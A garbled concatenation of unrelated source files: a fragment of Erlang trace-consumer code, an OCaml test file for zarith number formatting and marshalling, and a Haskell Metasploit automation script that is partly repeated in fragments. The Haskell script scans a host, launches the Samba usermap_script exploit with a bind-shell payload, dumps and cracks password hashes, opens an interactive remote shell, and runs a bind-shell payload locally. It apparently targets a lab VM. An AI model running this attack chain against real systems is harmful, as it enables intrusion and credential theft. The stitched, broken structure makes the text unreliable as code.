case whereis(Reg) of
undefined -> exit({no_such_process, Reg});
Pid when is_pid(Pid) -> Pid
end.
real_consumer(C) ->
Mon = erlang:monitor(process,C),
C ! {show_port, self()},
receive
{'DOWN',Mon,_,C,R} -> exit({no_local_consumer,R});
Port -> erlang:demonitor(Mon,[flush]),
Port
end.
consumer({term_buffer,Term},Time) -> consumer_pid(Term,yes,Time);
consumer({term_stream,Term},Time) -> consumer_pid(Term,no,Time);
consumer({file,File,Size,Count},Time) -> consumer_file(File,Size,Count,Time);
consumer({ip,Port,Queue},Time) -> consumer_ip(Port,Queue,Time).
consumer_stop(Pid) -> Pid ! stop.
consumer_pid({Pid,Cnt,MaxQueue,MaxSize},Buf,Time) ->
Conf =
from_list([{daddy,self()},
{count,Cnt},
{time,Time},
{maxsize,MaxSize},
{maxqueue,MaxQueue},
{where,Pid},
{buffering,Buf}]),
spawn_link(fun() -> init_local_pid(Conf) end).
consumer_file(File,Size,WrapCount,Time) ->
Conf =
from_list([{style,file}
, {file,File}
, {size,Size}
, {wrap_count,WrapCount}
, {time,Time}
, {daddy, self()}]),
spawn_link(fun() -> init_local_port(Conf) end).
consumer_ip(Port,QueueSize,Time) ->
Conf =
from_list([{style,ip}
, {port_no,Port}
, {queue_size,QueueSize}
, {time,Time}
, {daddy, self()}]),
spawn_link(fun() -> init_local_port(Conf) end).
writes trace messages directly to an erlang port .
init_local_port(Conf) ->
erlang:start_timer(fetch(time,Conf),self(),fetch(daddy,Conf)),
Port = mk_port(Conf),
loop_local_port(store(port,Port,Conf)).
loop_local_port(Conf) ->
Daddy = fetch(daddy, Conf),
receive
{show_port,Pid} -> Pid ! fetch(port,Conf),
loop_local_port(Conf);
stop -> dbg:flush_trace_port(),
exit(local_done);
{timeout,_,Daddy} -> Daddy ! {local_stop,timeout},
dbg:flush_trace_port(),
exit(timeout)
end.
mk_port(Conf) ->
case fetch(style,Conf) of
ip ->
Port = fetch(port_no,Conf),
QueueSize = fetch(queue_size,Conf),
(dbg:trace_port(ip,{Port, QueueSize}))();
file ->
File = fetch(file,Conf),
WrapCount = fetch(wrap_count,Conf),
file size ( per file ) in MB .
Suffix = ".trc",
(dbg:trace_port(file,{File, wrap, Suffix, WrapSize, WrapCount}))()
end.
-record(ld,{daddy,where,count,maxqueue,maxsize}).
init_local_pid(Conf) ->
erlang:start_timer(fetch(time,Conf),self(),fetch(daddy,Conf)),
loop_lp({#ld{daddy=fetch(daddy,Conf),
where=fetch(where,Conf),
maxsize=fetch(maxsize,Conf),
maxqueue=fetch(maxqueue,Conf)},
buffering(fetch(buffering,Conf)),
fetch(count,Conf)}).
buffering(yes) -> [];
buffering(no) -> no.
loop_lp({LD,Buff,Count}=State) ->
maybe_exit(msg_queue,LD),
maybe_exit(msg_count,{LD,Buff,Count}),
receive
{timeout,_,Daddy} -> Daddy ! {local_stop,timeout},
flush(LD,Buff),exit(timeout);
stop -> flush(LD,Buff),exit(local_done);
{show_port,Pid} -> Pid ! self(),
loop_lp(State);
{trace_ts,Pid,Tag,A,TS} -> loop_lp(msg(LD,Buff,Count,{Tag,Pid,TS,A}));
{trace_ts,Pid,Tag,A,B,TS} -> loop_lp(msg(LD,Buff,Count,{Tag,Pid,TS,{A,B}}))
end.
msg(LD,Buff,Count,Item) ->
maybe_exit(msg_size,{LD,Item}),
{LD,buff(Buff,LD,Item),Count-1}.
buff(no,LD,Item) -> send_one(LD,Item),no;
buff(Buff,_LD,Item) -> [Item|Buff].
maybe_exit(msg_count,{LD,Buff,0}) ->
flush(LD,Buff),
exit(msg_count);
maybe_exit(msg_queue,#ld{maxqueue=MQ}) ->
case process_info(self(),message_queue_len) of
{_,Q} when Q > MQ -> exit({msg_queue,Q});
_ -> ok
end;
maybe_exit(msg_size,{#ld{maxsize=MS},{call,_,_,{_,B}}}) when is_binary(B)->
case MS < (BS=size(B)) of
true -> exit({msg_size,BS});
_ -> ok
end;
maybe_exit(_,_) -> ok.
send_one(LD,Msg) -> LD#ld.where ! [msg(Msg)].
flush(_,no) -> ok;
flush(LD,Buffer) -> LD#ld.where ! map(fun msg/1, reverse(Buffer)).
msg({'send',Pid,TS,{Msg,To}}) -> {'send',{Msg,pi(To)},pi(Pid),ts(TS)};
msg({'receive',Pid,TS,Msg}) -> {'recv',Msg, pi(Pid),ts(TS)};
msg({'return_from',Pid,TS,{MFA,V}}) -> {'retn',{MFA,V}, pi(Pid),ts(TS)};
msg({'call',Pid,TS,{MFA,B}}) -> {'call',{MFA,B}, pi(Pid),ts(TS)};
msg({'call',Pid,TS,MFA}) -> {'call',{MFA,<<>>}, pi(Pid),ts(TS)}.
pi(P) when is_pid(P) ->
try process_info(P, registered_name) of
[] -> case process_info(P, initial_call) of
{_, {proc_lib,init_p,5}} -> proc_lib:translate_initial_call(P);
{_,MFA} -> MFA;
undefined -> dead
end;
{_,Nam} -> Nam;
undefined -> dead
catch
error:badarg -> node(P)
end;
pi(P) when is_port(P) ->
{name,N} = erlang:port_info(P,name),
[Hd|_] = string:tokens(N," "),
reverse(hd(string:tokens(reverse(Hd),"/")));
pi(R) when is_atom(R) -> R;
pi({R,Node}) when is_atom(R), Node == node() -> R;
pi({R, Node}) when is_atom(R), is_atom(Node) -> {R, Node}.
ts(Nw) ->
{_,{H,M,S}} = calendar:now_to_local_time(Nw),
{H,M,S,element(3,Nw)}.
|
c96e1811e37e8c5cd93b4783888b08ede056ca656c288f9c6e5a60f17ca75e64 | janestreet/universe | of_string_to_string.ml | open! Core_kernel
open! Import
module Ml_z_of_substring_base = struct
let%expect_test "print of_base (format x)" =
Static.quickcheck
~f:(fun x ->
[ 2, "b"; 8, "o"; 10, "d"; 16, "x" ]
|> List.map ~f:(fun (i, f) ->
let string = Z.format f x in
let string_dropped n =
let n = Int.min n (String.length string) in
String.sub string ~pos:n ~len:(Int.( - ) (String.length string) n)
in
try
[%message
(i : int)
(string : string)
(string_dropped 2 : string)
(Z.of_substring_base i (string_dropped 2) ~pos:1 ~len:4 : t)
(Z.of_substring_base 0 string ~pos:0 ~len:4 : t)]
with
| exn -> Sexp.Atom (Exn.to_string exn))
|> Sexp.List)
();
[%expect
{|
((hash 6e19ad54e13932775b7dcb252f2460c6) (uniqueness_rate 81.25))|}]
;;
let%expect_test "print of_base (format x)" =
Static.quickcheck
~f:(fun x ->
[ 2, "b"; 8, "o"; 10, "d"; 16, "x" ]
|> List.map ~f:(fun (i, f) ->
let formatted = Z.format f x in
let parsed = Z.of_string_base i formatted in
[%message
(x : t) (i : int) (f : string) (formatted : string) (parsed : t)])
|> Sexp.List)
();
[%expect
{|
((hash 5accf29c4669d527bd5779447b54dab1) (uniqueness_rate 85.742188)) |}]
;;
end
module Ml_z_to_bits = struct
let to_bits a =
let r = Z.to_bits a in
match Sys.word_size with
| 64 -> Option.value ~default:r (String.chop_suffix r ~suffix:"\000\000\000\000")
| _ -> r
;;
let to_bits_test_helper x = print_string (to_bits (Z.of_string x))
let%expect_test "to_bits" =
to_bits_test_helper "1234567";
[%expect "\135\214\018\000"]
;;
let%expect_test "to_bits" =
to_bits_test_helper "-1234567";
[%expect "\135\214\018\000"]
;;
let%expect_test "to_bits" =
to_bits_test_helper "316049152";
[%expect "\000\135\214\018"]
;;
let%expect_test "print x, (to_bits x)" =
Static.quickcheck ~f:(fun x -> [%message (x : t) (to_bits x : string)]) ();
[%expect
{|
((hash 8941f3eca65e7d039f6d987683e3803b) (uniqueness_rate 85.742188)) |}]
;;
end
module Ml_z_of_bits = struct
let of_bits_test_helper a = Z.of_bits a |> Z.print
let%expect_test "of_bits" =
of_bits_test_helper "\135\214\018\000\000\000\000\000";
[%expect "1234567"]
;;
let%test "assert (abs x) = (of_bits (to_bits x))" =
Dynamic.quickcheck () ~f:(fun x -> [%test_eq: t] (abs x) (of_bits (to_bits x)));
true
;;
end
module Ml_z_format = struct
let%expect_test "format '%d' x" =
Static.quickcheck
~f:(fun x ->
let str = Z.format "%d" x in
[%message str])
();
[%expect
{|
((hash cf890da293ccebc1e11c9ff4eec88058) (uniqueness_rate 85.742188))|}]
;;
let%expect_test "format '%x' x" =
Static.quickcheck
~f:(fun x ->
let str = Z.format "%x" x in
[%message str])
();
[%expect
{|
((hash 0db4620a008e5958554fff85f7bc950a) (uniqueness_rate 85.742188))|}]
;;
let%expect_test "permute formats" =
let combinations =
let open List.Let_syntax in
let%bind flag = [ ""; "+"; " "; "0"; "#" ] in
let%bind width = [ ""; "0"; "10"; "100" ] in
let%bind typ = [ "i"; "d"; "u"; "b"; "o"; "x"; "X" ] in
return (sprintf "%%%s%s%s" flag width typ)
in
Static.quickcheck
~f:(fun x ->
combinations
|> List.map ~f:(fun f -> f, Z.format f x)
|> List.map ~f:[%sexp_of: string * string]
|> Sexp.List)
();
[%expect "((hash d8e5286d828a22da8141249fc86185be) (uniqueness_rate 85.742188))"]
;;
end
module Marshal = struct
let m x =
let y = of_string x in
let marshal = Marshal.to_string y [] in
print_endline
(String.to_list marshal
|> List.map ~f:(fun x -> sprintf "%02X" (Char.to_int x))
|> List.chunks_of ~length:8
|> List.map ~f:(String.concat ~sep:",")
|> String.concat ~sep:"\n");
let y' : Z.t = Marshal.from_string marshal 0 in
if not (equal y y') then print_endline "(roundtrip failed)"
;;
let%expect_test "marshal large" =
m "8432103214690897934401335661952849215774309719238";
[%expect
{|
84,95,A6,BE,00,00,00,2D
00,00,00,01,00,00,00,09
00,00,00,06,18,5F,7A,00
00,00,00,1C,00,00,00,00
00,00,00,20,00,00,00,00
18,C6,9C,63,3B,6A,F2,2A
E0,41,A2,BE,0F,2B,5F,8B
0C,CC,95,FC,C4,05,00,00
00 |}];
m "-107549090292258971570605440155";
[%expect
{|
84,95,A6,BE,00,00,00,25
00,00,00,01,00,00,00,07
00,00,00,05,18,5F,7A,00
00,00,00,14,00,00,00,00
00,00,00,18,01,00,00,00
10,9B,BC,2C,E8,CF,9C,72
2F,BB,85,82,5B,01,00,00
00 |}];
m "107549090292258971570605440155";
[%expect
{|
84,95,A6,BE,00,00,00,25
00,00,00,01,00,00,00,07
00,00,00,05,18,5F,7A,00
00,00,00,14,00,00,00,00
00,00,00,18,00,00,00,00
10,9B,BC,2C,E8,CF,9C,72
2F,BB,85,82,5B,01,00,00
00 |}]
;;
let%expect_test ("marshal mix len"[@tags "64-bits-only"]) =
m "-549389047489539543158";
[%expect
{|
84,95,A6,BE,00,00,00,25
00,00,00,01,00,00,00,07
00,00,00,05,18,5F,7A,00
00,00,00,14,00,00,00,00
00,00,00,18,01,00,00,00
10,76,10,37,60,E7,FB,4D
C8,1D,00,00,00,00,00,00
00 |}]
;;
let%expect_test ("marshal mix len"[@tags "32-bits-only"]) =
m "-549389047489539543158";
[%expect
{|
84,95,A6,BE,00,00,00,21
00,00,00,01,00,00,00,06
00,00,00,05,18,5F,7A,00
00,00,00,10,00,00,00,00
00,00,00,18,01,00,00,00
0C,76,10,37,60,E7,FB,4D
C8,1D,00,00,00 |}]
;;
let%expect_test ("marshal mix len"[@tags "js-only"]) =
m "-549389047489539543158";
[%expect
{|
84,95,A6,BE,00,00,00,21
00,00,00,01,00,00,00,06
00,00,00,05,18,5F,7A,00
00,00,00,10,00,00,00,00
00,00,00,18,01,00,00,00
0C,76,10,37,60,E7,FB,4D
C8,1D,00,00,00 |}]
;;
let%expect_test "marshal small" =
m "0";
[%expect
{|
84,95,A6,BE,00,00,00,01
00,00,00,00,00,00,00,00
00,00,00,00,40 |}]
;;
let%expect_test "marshal roundtrip" =
Static.quickcheck
~verbose:false
~f:(fun x ->
let str = Marshal.to_string x [] in
let y = Marshal.from_string str 0 in
[%message (x : t) (y : t) (equal x y : bool)])
();
[%expect
{|
((hash c9b9d5441e3470cb51b8114f77ea91d8) (uniqueness_rate 85.742188))|}]
;;
end
| null | https://raw.githubusercontent.com/janestreet/universe/b6cb56fdae83f5d55f9c809f1c2a2b50ea213126/zarith_stubs_js/test/of_string_to_string.ml | ocaml | open! Core_kernel
open! Import
module Ml_z_of_substring_base = struct
let%expect_test "print of_base (format x)" =
Static.quickcheck
~f:(fun x ->
[ 2, "b"; 8, "o"; 10, "d"; 16, "x" ]
|> List.map ~f:(fun (i, f) ->
let string = Z.format f x in
let string_dropped n =
let n = Int.min n (String.length string) in
String.sub string ~pos:n ~len:(Int.( - ) (String.length string) n)
in
try
[%message
(i : int)
(string : string)
(string_dropped 2 : string)
(Z.of_substring_base i (string_dropped 2) ~pos:1 ~len:4 : t)
(Z.of_substring_base 0 string ~pos:0 ~len:4 : t)]
with
| exn -> Sexp.Atom (Exn.to_string exn))
|> Sexp.List)
();
[%expect
{|
((hash 6e19ad54e13932775b7dcb252f2460c6) (uniqueness_rate 81.25))|}]
;;
let%expect_test "print of_base (format x)" =
Static.quickcheck
~f:(fun x ->
[ 2, "b"; 8, "o"; 10, "d"; 16, "x" ]
|> List.map ~f:(fun (i, f) ->
let formatted = Z.format f x in
let parsed = Z.of_string_base i formatted in
[%message
(x : t) (i : int) (f : string) (formatted : string) (parsed : t)])
|> Sexp.List)
();
[%expect
{|
((hash 5accf29c4669d527bd5779447b54dab1) (uniqueness_rate 85.742188)) |}]
;;
end
module Ml_z_to_bits = struct
let to_bits a =
let r = Z.to_bits a in
match Sys.word_size with
| 64 -> Option.value ~default:r (String.chop_suffix r ~suffix:"\000\000\000\000")
| _ -> r
;;
let to_bits_test_helper x = print_string (to_bits (Z.of_string x))
let%expect_test "to_bits" =
to_bits_test_helper "1234567";
[%expect "\135\214\018\000"]
;;
let%expect_test "to_bits" =
to_bits_test_helper "-1234567";
[%expect "\135\214\018\000"]
;;
let%expect_test "to_bits" =
to_bits_test_helper "316049152";
[%expect "\000\135\214\018"]
;;
let%expect_test "print x, (to_bits x)" =
Static.quickcheck ~f:(fun x -> [%message (x : t) (to_bits x : string)]) ();
[%expect
{|
((hash 8941f3eca65e7d039f6d987683e3803b) (uniqueness_rate 85.742188)) |}]
;;
end
module Ml_z_of_bits = struct
let of_bits_test_helper a = Z.of_bits a |> Z.print
let%expect_test "of_bits" =
of_bits_test_helper "\135\214\018\000\000\000\000\000";
[%expect "1234567"]
;;
let%test "assert (abs x) = (of_bits (to_bits x))" =
Dynamic.quickcheck () ~f:(fun x -> [%test_eq: t] (abs x) (of_bits (to_bits x)));
true
;;
end
module Ml_z_format = struct
let%expect_test "format '%d' x" =
Static.quickcheck
~f:(fun x ->
let str = Z.format "%d" x in
[%message str])
();
[%expect
{|
((hash cf890da293ccebc1e11c9ff4eec88058) (uniqueness_rate 85.742188))|}]
;;
let%expect_test "format '%x' x" =
Static.quickcheck
~f:(fun x ->
let str = Z.format "%x" x in
[%message str])
();
[%expect
{|
((hash 0db4620a008e5958554fff85f7bc950a) (uniqueness_rate 85.742188))|}]
;;
let%expect_test "permute formats" =
let combinations =
let open List.Let_syntax in
let%bind flag = [ ""; "+"; " "; "0"; "#" ] in
let%bind width = [ ""; "0"; "10"; "100" ] in
let%bind typ = [ "i"; "d"; "u"; "b"; "o"; "x"; "X" ] in
return (sprintf "%%%s%s%s" flag width typ)
in
Static.quickcheck
~f:(fun x ->
combinations
|> List.map ~f:(fun f -> f, Z.format f x)
|> List.map ~f:[%sexp_of: string * string]
|> Sexp.List)
();
[%expect "((hash d8e5286d828a22da8141249fc86185be) (uniqueness_rate 85.742188))"]
;;
end
module Marshal = struct
let m x =
let y = of_string x in
let marshal = Marshal.to_string y [] in
print_endline
(String.to_list marshal
|> List.map ~f:(fun x -> sprintf "%02X" (Char.to_int x))
|> List.chunks_of ~length:8
|> List.map ~f:(String.concat ~sep:",")
|> String.concat ~sep:"\n");
let y' : Z.t = Marshal.from_string marshal 0 in
if not (equal y y') then print_endline "(roundtrip failed)"
;;
let%expect_test "marshal large" =
m "8432103214690897934401335661952849215774309719238";
[%expect
{|
84,95,A6,BE,00,00,00,2D
00,00,00,01,00,00,00,09
00,00,00,06,18,5F,7A,00
00,00,00,1C,00,00,00,00
00,00,00,20,00,00,00,00
18,C6,9C,63,3B,6A,F2,2A
E0,41,A2,BE,0F,2B,5F,8B
0C,CC,95,FC,C4,05,00,00
00 |}];
m "-107549090292258971570605440155";
[%expect
{|
84,95,A6,BE,00,00,00,25
00,00,00,01,00,00,00,07
00,00,00,05,18,5F,7A,00
00,00,00,14,00,00,00,00
00,00,00,18,01,00,00,00
10,9B,BC,2C,E8,CF,9C,72
2F,BB,85,82,5B,01,00,00
00 |}];
m "107549090292258971570605440155";
[%expect
{|
84,95,A6,BE,00,00,00,25
00,00,00,01,00,00,00,07
00,00,00,05,18,5F,7A,00
00,00,00,14,00,00,00,00
00,00,00,18,00,00,00,00
10,9B,BC,2C,E8,CF,9C,72
2F,BB,85,82,5B,01,00,00
00 |}]
;;
let%expect_test ("marshal mix len"[@tags "64-bits-only"]) =
m "-549389047489539543158";
[%expect
{|
84,95,A6,BE,00,00,00,25
00,00,00,01,00,00,00,07
00,00,00,05,18,5F,7A,00
00,00,00,14,00,00,00,00
00,00,00,18,01,00,00,00
10,76,10,37,60,E7,FB,4D
C8,1D,00,00,00,00,00,00
00 |}]
;;
let%expect_test ("marshal mix len"[@tags "32-bits-only"]) =
m "-549389047489539543158";
[%expect
{|
84,95,A6,BE,00,00,00,21
00,00,00,01,00,00,00,06
00,00,00,05,18,5F,7A,00
00,00,00,10,00,00,00,00
00,00,00,18,01,00,00,00
0C,76,10,37,60,E7,FB,4D
C8,1D,00,00,00 |}]
;;
let%expect_test ("marshal mix len"[@tags "js-only"]) =
m "-549389047489539543158";
[%expect
{|
84,95,A6,BE,00,00,00,21
00,00,00,01,00,00,00,06
00,00,00,05,18,5F,7A,00
00,00,00,10,00,00,00,00
00,00,00,18,01,00,00,00
0C,76,10,37,60,E7,FB,4D
C8,1D,00,00,00 |}]
;;
let%expect_test "marshal small" =
m "0";
[%expect
{|
84,95,A6,BE,00,00,00,01
00,00,00,00,00,00,00,00
00,00,00,00,40 |}]
;;
let%expect_test "marshal roundtrip" =
Static.quickcheck
~verbose:false
~f:(fun x ->
let str = Marshal.to_string x [] in
let y = Marshal.from_string str 0 in
[%message (x : t) (y : t) (equal x y : bool)])
();
[%expect
{|
((hash c9b9d5441e3470cb51b8114f77ea91d8) (uniqueness_rate 85.742188))|}]
;;
end
| |
b8a69f80716153e47d968d340edf33d3a619ef1693a52e755ecd7020a8e35ad3 | GaloisInc/msf-haskell | ExampleExploit.hs | # LANGUAGE DataKinds #
module Main where
--import RPC.Session
import Types.DB
import RPC.Module ( ModuleType ( .. ) , ModuleName ( .. ) , Payload ( .. ) , ExecResult ( .. ) )
import MSF
import MSF.Auth
import MSF.Console
import MSF.Commands
import MSF.Session as MSession
import MSF.Event(waitJob)
import MSF.Module
import MSF.Job
import System.Environment (getArgs)
import System.Directory (removeFile)
import System.Posix.Files
import System.Process (runCommand, waitForProcess)
import MonadLib
import Control.Concurrent (threadDelay)
import Control . ( when , void , forever )
import System.IO (hSetBuffering,stdout,BufferMode(..))
import qualified Data.Map as Map
import qualified Data.ByteString as B (ByteString, writeFile)
data Command = InteractCmd | CleanCmd | ShellCmd | PayloadCmd | CheckCmd | Test deriving (Eq)
-- ------------------------------------------------------------
-- Test values - configure according to your environment.
-- ------------------------------------------------------------
msfUser :: Username
msfUser = "msf"
msfPass :: Password
msfPass = "test"
-- |The Metasploit server
msfRpcServer :: Con Server
msfRpcServer = Con
{ conHost = Host "10.0.0.2"
, conPort = "55553"
}
-- |A host that's OK to attack. For instance, download the
" " virtual machine , which is vulnerable to the Samba
-- exploit below.
scanAndAttackHost :: Host Scannable
scanAndAttackHost = Host "10.0.0.4"
|The example finds the target by IP address and checks the MAC
-- address so that it won't accidentally launch an attack against the
wrong system . Set this address to the metasploitable VM 's mac
-- address.
scanAndAttackMAC :: MAC
scanAndAttackMAC = MAC "00:00:00:00:00:00"
-- |A host that should be scanned, but not attacked.
scanDontAttackHost :: Host Scannable
scanDontAttackHost = Host "10.0.0.10"
metasploitableModuleType :: ModuleType
metasploitableModuleType = ExploitModuleType
metasploitableModuleName :: ModuleName
metasploitableModuleName = ModuleName "multi/samba/usermap_script"
metasploitablePayload :: Payload
metasploitablePayload = Payload "cmd/unix/bind_perl"
-- ------------------------------------------------------------
-- Event Handlers
-- ------------------------------------------------------------
-- |Callback for "onHost" events. Double checks that the host we were
-- given is the target that we want to attack and verifies that there
-- is not already a session open on this host.
onHostLaunch :: (QuietCxt s) => HandlerRef -> HostInfo -> MSF s ()
onHostLaunch _ref hi = do
let addr = hostAddress hi
sessions <- MSession.session_list
if (addr /= scanAndAttackHost || (hostMAC hi /= scanAndAttackMAC))
then writeLog ("Wrong host, not attacking: "
++ getHost addr ++ " - " ++ (getMAC $ hostMAC hi))
else if null (MSession.sessions_on_host sessions addr)
then do
writeLog ("Attacking: " ++ getHost addr)
-- explicitly converting addr to attackable
loud (launchExploit (attackableHost addr))
else do -- Don't attack it twice
writeLog ("Session already open for " ++ getHost addr)
-- |Callback for for the "check" command. An "onHost" event that just
-- checks if the target server is at the expected IP address. Quits
-- program when done.
onHostCheck :: QuietCxt s => HandlerRef -> HostInfo -> MSF s ()
onHostCheck _ref hi = do
let addr = hostAddress hi
if (addr == scanAndAttackHost) then do
writeLog ("Found expected host: " ++ getHost addr)
if (hostMAC hi == scanAndAttackMAC)
then do
writeLog ("Expected host has expected MAC: "
++ (getMAC $ hostMAC hi) ++ "\nDone.")
else writeLog ("ERROR!!!!! Expected host has wrong MAC: "
++ (getMAC $ hostMAC hi))
else return ()
|Callback for " onSession " events . When we have a session , run .
onSessionWhoami :: (QuietCxt s)
=> Bool -> HandlerRef -> (SessionId, Session) -> MSF s ()
onSessionWhoami doShell _ref (sid, _) = do
writeLog "Gathering credentials"
loud $ gatherCredentials sid
writeLog "Checking whoami"
_ <- loud $ MSession.session_shell_write sid "whoami\n"
promptWait
delay 1000000
whoamiOut <- MSession.session_shell_read sid Nothing
writeLog ("Output from whoami: " ++ readData whoamiOut)
when doShell $ do
writeLog "dropping into shell"
loud $ shell sid
onCredPrint :: (QuietCxt s) => HandlerRef -> Cred -> MSF s ()
onCredPrint _ref c = writeLog ("Found credential: " ++ (show c))
-- |Once we gather credentials, automatically start cracking them
using ( jtr ) .
onLootCrack :: (QuietCxt s) => HandlerRef -> Loot -> MSF s ()
onLootCrack _ref l = do
writeLog ("Found loot: "++ (show l))
let modTyp = AuxiliaryModuleType
modNm = ModuleName name
name = "analyze/jtr_linux"
matchingJobs <- job_list_name_substring2 name
case matchingJobs of
[] -> do
writeLog ("Job not found, running crack: " ++ name)
_ <- loud $ module_execute modTyp modNm
$ toObject
$ Map.fromList ([] :: [(String, Object)])
return ()
_ -> writeLog ("Job already running: " ++ name)
return ()
-- | Launches an example exploit against a target host. Configure
-- statically above.
launchExploit :: (LoudCxt s) => Host Attackable -> MSF s ()
launchExploit targetHost = do
_ <- module_execute metasploitableModuleType metasploitableModuleName
$ toObject
$ Map.fromList
[ ("RHOST", toObject targetHost)
, ("PAYLOAD", toObject metasploitablePayload)
]
return ()
-- |Grab the password hashes.
gatherCredentials :: (LoudCxt s) => SessionId -> MSF s ()
gatherCredentials sessionId = do
let modTyp = PostModuleType
modNm = ModuleName "linux/gather/hashdump"
r <- module_execute modTyp modNm
$ toObject
$ Map.fromList
[ ("SESSION", toObject sessionId)
]
case r of
(ExecJobId j) -> waitJob j
_ -> return ()
-- ------------------------------------------------------------
-- Commands
-- ------------------------------------------------------------
-- |Cleans up the loots, sessions, hosts, and services.
cleanup :: (QuietCxt s) => MSF s ()
cleanup = do
writeLog "Cleaning"
_ <- delete_loots -- silent
_ <- stop_sessions -- quiet
_ <- remove_hosts -- silent
_ <- stop_services -- silent
_ <- console_read
return ()
-- |For a given session, this is a simple read-eval-print loop for
-- user interaction with the shell.
shell :: SessionId -> MSF Loud ()
shell sid = do
writeLog "# "
line <- io getLine
if (line == "exit") then return ()
else do
_ <- MSession.session_shell_write sid (line ++ "\n")
output <- MSession.session_shell_read sid Nothing
writeLog (readData output)
shell sid
-- ------------------------------------------------------------
-- Little helpers
-- ------------------------------------------------------------
-- |Simple getArgs parsing.
parseArgs :: IO (Maybe Command)
parseArgs = do
args <- getArgs
case args of
("clean":_) -> return $ Just CleanCmd
("interact": _) -> return $ Just InteractCmd
("shell":_) -> return $ Just ShellCmd
("check":_) -> return $ Just CheckCmd
("payload":_) -> return $ Just PayloadCmd
("test":_) -> return $ Just Test
_ -> return Nothing
-- |Block to interact with the user
promptWait :: MSF s ()
promptWait = io $ do
command <- parseArgs
when (command == Just InteractCmd)
(putStr "Hit enter." >> getLine >> return ())
-- |Periodically prints the contents of the console.
printConsole :: (QuietCxt s) => MSF s ()
printConsole = do
s <- console_read
case s of
Just cr -> writeLog $ consoleReadData cr
Nothing -> writeLog "Couldn't read console"
delay 2000000
printConsole
-- ------------------------------------------------------------
-- CAUTION - Local payload - opens a command interpreter on a local
-- port. This means that anyone who connects to this port can run any
-- command as the user.
-- ------------------------------------------------------------
-- |Caution. Example for extracting a payload from the msf server,
writing it to a file on the client ( ) side , and executing
-- it.
payloadCmd :: SilentCxt s => MSF s ()
payloadCmd = do
let port = "4444"
(ExecPayload pl) <- module_execute_payload metasploitablePayload
$ toObject
$ Map.fromList [("LPORT", port)]
io $ do
putStr ("This command opens a reverse shell on local port: "
++ port ++ ". Type YES to proceed: ")
maybeYes <- getLine
if maybeYes == "YES"
then executeLocalPayload pl
else putStrLn "Not executing."
-- |Caution. For the given bytestring, write it to a file and execute it.
executeLocalPayload :: B.ByteString -> IO ()
executeLocalPayload pl = do
let file = "./out"
B.writeFile file pl
setFileMode file (foldl1 unionFileModes
[ownerExecuteMode, ownerReadMode, ownerWriteMode])
void (runCommand file >>= waitForProcess)
removeFile file
writeLog :: String -> MSF s ()
writeLog = io . putStrLn
delay :: Int -> MSF s ()
delay = io . threadDelay
-- ------------------------------------------------------------
-- Initialization
-- ------------------------------------------------------------
-- |Having logged into target, set up the handlers and run the nmap
-- commands that gets everything started. Block forever.
setup :: Bool -> MSF Quiet ()
setup doShell = do
-- Registering event handlers:
void (onHost onHostLaunch)
void (onSession (onSessionWhoami doShell))
void (onCred onCredPrint)
void (onLoot onLootCrack)
void (spawn printConsole)
-- |Do some port scanning
writeLog "Checking if host is up using quiet scan"
_ <- db_nmap pingScan (single scanAndAttackHost)
promptWait
-- fall back on a loud context here
writeLog "Getting open ports and OS fingerprints"
_ <- loud (db_nmap serviceVersionScan (single scanAndAttackHost))
promptWait
writeLog "Scanning non-attackable host"
_ <- loud (db_nmap serviceVersionScan (single scanDontAttackHost))
-- sleep forever, events will drive future computation
forever (delay 1000000)
runTest :: MSF Quiet ()
runTest = do
testAuth
testAuth :: MSF Quiet ()
testAuth = do
_ <- getTokList
writeLog "Trying to log in again with same user/pass..."
res <- auth_login msfUser msfPass
tok <- case res of
Right tok -> writeLog "Login successful" >> return tok
Left msg -> error ("Login failed: " ++ msg)
_ <- getTokList
writeLog "Trying to remove temporary auth token..."
_ <- auth_token_remove tok
writeLog "Removal successful"
_ <- getTokList
writeLog "Generating new token..."
genTok <- auth_token_generate
writeLog ("Got token: " ++ show genTok)
_ <- getTokList
writeLog "Finished."
where
getTokList :: MSF Quiet [Token]
getTokList = do
toks <- auth_token_list
writeLog ("Current tokens:\n" ++ show toks)
return toks
to see that expected host is online & such
check :: MSF Loud ()
check = do
writeLog "MSF server is online. Looking for target host."
void (onHost onHostCheck)
_ <- db_nmap serviceVersionScan (single scanAndAttackHost)
-- sleep forever, events will drive future computation
forever (delay 1000000)
-- |Process the command line args & dispatch
commands :: Maybe Command -> MSF Quiet ()
commands command = do
writeLog "Login successful."
case command of
Just CleanCmd -> cleanup
Just CheckCmd -> loud check
Just PayloadCmd -> payloadCmd
Just ShellCmd -> setup True
Just InteractCmd -> setup False
Just Test -> runTest
Nothing -> setup False
main :: IO ()
main = do
hSetBuffering stdout NoBuffering
c <- parseArgs
login msfRpcServer msfUser msfPass (commands c)
| null | https://raw.githubusercontent.com/GaloisInc/msf-haskell/76cee10771f9e9d10aa3301198e09f08bde907be/examples/ExampleExploit.hs | haskell | import RPC.Session
------------------------------------------------------------
Test values - configure according to your environment.
------------------------------------------------------------
|The Metasploit server
|A host that's OK to attack. For instance, download the
exploit below.
address so that it won't accidentally launch an attack against the
address.
|A host that should be scanned, but not attacked.
------------------------------------------------------------
Event Handlers
------------------------------------------------------------
|Callback for "onHost" events. Double checks that the host we were
given is the target that we want to attack and verifies that there
is not already a session open on this host.
explicitly converting addr to attackable
Don't attack it twice
|Callback for for the "check" command. An "onHost" event that just
checks if the target server is at the expected IP address. Quits
program when done.
|Once we gather credentials, automatically start cracking them
| Launches an example exploit against a target host. Configure
statically above.
|Grab the password hashes.
------------------------------------------------------------
Commands
------------------------------------------------------------
|Cleans up the loots, sessions, hosts, and services.
silent
quiet
silent
silent
|For a given session, this is a simple read-eval-print loop for
user interaction with the shell.
------------------------------------------------------------
Little helpers
------------------------------------------------------------
|Simple getArgs parsing.
|Block to interact with the user
|Periodically prints the contents of the console.
------------------------------------------------------------
CAUTION - Local payload - opens a command interpreter on a local
port. This means that anyone who connects to this port can run any
command as the user.
------------------------------------------------------------
|Caution. Example for extracting a payload from the msf server,
it.
|Caution. For the given bytestring, write it to a file and execute it.
------------------------------------------------------------
Initialization
------------------------------------------------------------
|Having logged into target, set up the handlers and run the nmap
commands that gets everything started. Block forever.
Registering event handlers:
|Do some port scanning
fall back on a loud context here
sleep forever, events will drive future computation
sleep forever, events will drive future computation
|Process the command line args & dispatch | # LANGUAGE DataKinds #
module Main where
import Types.DB
import RPC.Module ( ModuleType ( .. ) , ModuleName ( .. ) , Payload ( .. ) , ExecResult ( .. ) )
import MSF
import MSF.Auth
import MSF.Console
import MSF.Commands
